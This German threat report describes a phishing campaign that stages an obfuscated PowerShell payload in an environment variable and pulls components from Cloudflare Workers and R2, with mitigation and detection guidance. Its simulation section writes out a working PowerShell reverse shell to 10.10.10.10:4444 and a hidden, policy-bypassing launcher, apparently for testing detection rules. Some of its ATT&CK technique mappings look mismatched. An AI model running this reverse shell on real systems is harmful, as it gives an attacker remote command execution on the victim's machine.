Der böse MSI-Hintergrund kehrt zurück
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine Phishing-E-Mail mit einem WeTransfer-Link liefert eine JavaScript-Datei, die eine verschleierte Nutzlast innerhalb einer Umgebungsvariable speichert. Diese Nutzlast wird später dekodiert und durch PowerShell ausgeführt, das über WMI gestartet wird und ein bösartiges MSI-artiges Hintergrund-JPEG und eine .NET-DLL von Cloudflare Workers und R2-Speicher herunterlädt. Die DLL ist ein modifizierter Build von Microsoft.Win32.TaskScheduler , die verwendet wird, um nachfolgende Nutzlasten zu laden und möglicherweise Persistenz durch geplante Aufgaben zu schaffen. Die Kampagne unterstreicht, wie Bedrohungsakteure weiterhin legitime Cloud-Dienste missbrauchen, um bösartige Komponenten zu hosten und zu verteilen.
Untersuchung
Der Analyst identifizierte eine initiale JavaScript-Datei mit dem Namen Remittance Advice.js , die ROT13-verschleierten Code enthält, der die INTERNAL_DB_CACHE Umgebungsvariable erstellt. PowerShell wird dann durch WMI in einem versteckten Fenster gestartet und führt den dekodierten Skriptblock aus. Dieses Skript ruft eine JPEG-Datei von einem workers.dev Subdomain und eine PNG-Datei von einem öffentlichen r2.dev Bucket ab, die beide wahrscheinlich verwendet werden, um zusätzliche Nutzlasten durch steganographische Methoden zu transportieren. Die letzte Komponente ist eine .NET-DLL, die von der Open-Source-Bibliothek TaskScheduler abgeleitet ist.
Minderung
Organisationen sollten den Zugriff auf bekannte bösartige Domains wie we.tl, workers.devblockieren und r2.dev auf der Firewall- oder Proxy-Ebene. PowerShell-Ausführung und WMI-basierte Prozess Erstellung sollten für nicht vertrauenswürdige Benutzer so weit wie möglich eingeschränkt werden. Verteidiger sollten auch versteckte PowerShell-Ausführung, den Missbrauch der Win32_Process.Create Methode und ungewöhnliche Umgebungsvariablen wie INTERNAL_DB_CACHEüberwachen. Dateien, die aus öffentlichen Cloud-Speichern heruntergeladen werden, sollten einer strengen Validierung und Überprüfung unterzogen werden.
Reaktion
Sicherheitsteams sollten einen Alarm auslösen, wenn PowerShell mit einem versteckten Fenster über WMI gestartet wird und wenn die INTERNAL_DB_CACHE Variable erstellt oder geändert wird. Jeder Prozess, der eine Verbindung zu den identifizierten URLs herstellt oder Inhalte von workers.dev or r2.dev herunterlädt, sollte sofort untersucht werden. Die forensische Analyse sollte sich darauf konzentrieren, die bösartige .NET-DLL zu lokalisieren und neu erstellte geplante Aufgaben zu identifizieren, die auf die TaskScheduler-Bibliothek angewiesen sind. Betroffene Hosts sollten umgehend behoben werden, und Detektionsinhalte sollten mit den beobachteten Indikatoren aktualisiert werden.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef malware fill:#ff9999 classDef file fill:#ccccff %% Node definitions action_phishing[„<b>Aktion</b> – <b>T1566.002 Phishing: Spearphishing-Link</b><br/><b>Beschreibung</b>: Sendet eine E-Mail mit einem bösartigen WeTransfer-Link an die Opfer“] class action_phishing action tool_js[„<b>Werkzeug</b> – <b>JavaScript-Payload</b><br/><b>Techniken</b>: T1027.008 Verschleierte Dateien oder Informationen, T1132 Datenkodierung<br/><b>Beschreibung</b>: Wird ausgeführt und setzt eine Umgebungsvariable mit einer ROT13-/modifizierten-Base64-Payload“] class tool_js tool process_wmi_ps[„<b>Prozess</b> – <b>PowerShell über WMI</b><br/><b>Techniken</b>: T1216 Proxy-Ausführung über signierte Binärdateien, T1036.009 Tarnung, T1564.010 Artefakte verbergen<br/><b>Beschreibung</b>: Startet einen versteckten PowerShell-Prozess über WMI“] class process_wmi_ps process malware_taskdll[„<b>Malware</b> – <b>.NET-TaskScheduler-DLL</b><br/><b>Technik</b>: T1127.003 Proxy-Ausführung über vertrauenswürdige Entwicklerwerkzeuge<br/><b>Beschreibung</b>: Lädt die dekodierte Payload als .NET-DLL und registriert sie im Aufgabenplaner“] class malware_taskdll malware tool_downloader[„<b>Werkzeug</b> – <b>Downloader</b><br/><b>Techniken</b>: T1578 Infrastruktur beschaffen, T1538 Daten aus Cloud-Speichern, T1537 Daten an Cloud-Konto übertragen<br/><b>Beschreibung</b>: Ruft zusätzliche Dateien von Cloudflare Workers und dem R2-Speicher ab“] class tool_downloader tool file_png[„<b>Datei</b> – <b>Steganografische PNG-Datei</b><br/><b>Beschreibung</b>: PNG-Bild mit versteckten Daten, die später verarbeitet werden“] class file_png file %% Connections showing attack flow action_phishing –>|liefert| tool_js tool_js –>|führt_aus_und_setzt| process_wmi_ps process_wmi_ps –>|startet| malware_taskdll malware_taskdll –>|lädt| tool_downloader tool_downloader –>|ruft_ab| file_png
Angriffsfluss
Erkennungen
Die Möglichkeit der Ausführung durch versteckte PowerShell-Befehlszeilen (über cmdline)
Ansehen
LOLBAS WScript / CScript (über Prozess-erstellung)
Ansehen
Möglicher Missbrauch der Entwicklung Domain Cloudflare (über dns)
Ansehen
PowerShell Umgebungsvariable mit kodierter Nutzlastausführung [Windows Powershell]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden worden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Der Angreifer bringt zuerst eine Base64-kodierte PowerShell-Nutzlast in eine Prozess-Umgebungsvariable mit dem NamenINTERNAL_DB_CACHEein. Diese Nutzlast startet beim Dekodieren eine Rückwärts-Schale. Der Angreifer ruft dann einen zweiten PowerShell-Prozess auf, der die Variable liest und sie überScriptBlock::Createausführt, wodurch der bösartige Befehl aus der unmittelbaren Befehlszeile herausgehalten wird. Dieser „Living-off-the-land“-Ansatz vermeidet die statische Signaturerkennung und nutzt das Zwei-Schritt-Muster, das die Regel dazu entworfen wurde zu erfassen.-
Stufe 1 – Nutzlast kodieren und in der Umgebungsvariable speichern
$payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") -
Stufe 2 – Die kodierte Nutzlast aus der Umgebungsvariable ausführen
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
-
-
Regressionstestskript: Das unten aufgeführte Skript automatisiert die beiden Schritte, erfasst Zeitstempel zur Korrelation und fügt eine kurze Pause ein, um den ersten Prozess zu beenden, bevor der zweite beginnt.
# ---------------------------------------------- # PowerShell-Simulation von in Umgebungsvariable kodierter Nutzlast # ---------------------------------------------- # Schritt 1 – Kodieren einer harmlosen Rückwärts-Shell-Nutzlast (ersetzen Sie mit Ihrer C2-Adresse) $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep' # Kleiner harmloser Nutzlast für sicheres Testen $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") Write-Host "[*] Umgebungsvariable INTERNAL_DB_CACHE gesetzt." # Kurze Pause, um sicherzustellen, dass der erste Befehl protokolliert wird Start-Sleep -Seconds 2 # Schritt 2 – Die Nutzlast aus der Variablen ausführen powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ` Write-Host "[*] Nutzlastausführung ausgelöst." -
Bereinigungskommandos: Entfernen der temporären Umgebungsvariable und Beenden aller während des Tests erstellten verwaisten Prozesse.
# Entfernen Sie die Testumgebungsvariablen [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process") Write-Host "[*] BEREINIGUNG – INTERNAL_DB_CACHE entfernt." # Stellen Sie sicher, dass keine verwaisten powershell.exe-Instanzen verbleiben (außer der aktuellen Sitzung) Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force Write-Host "[*] BEREINIGUNG – verwaiste PowerShell-Prozesse beendet."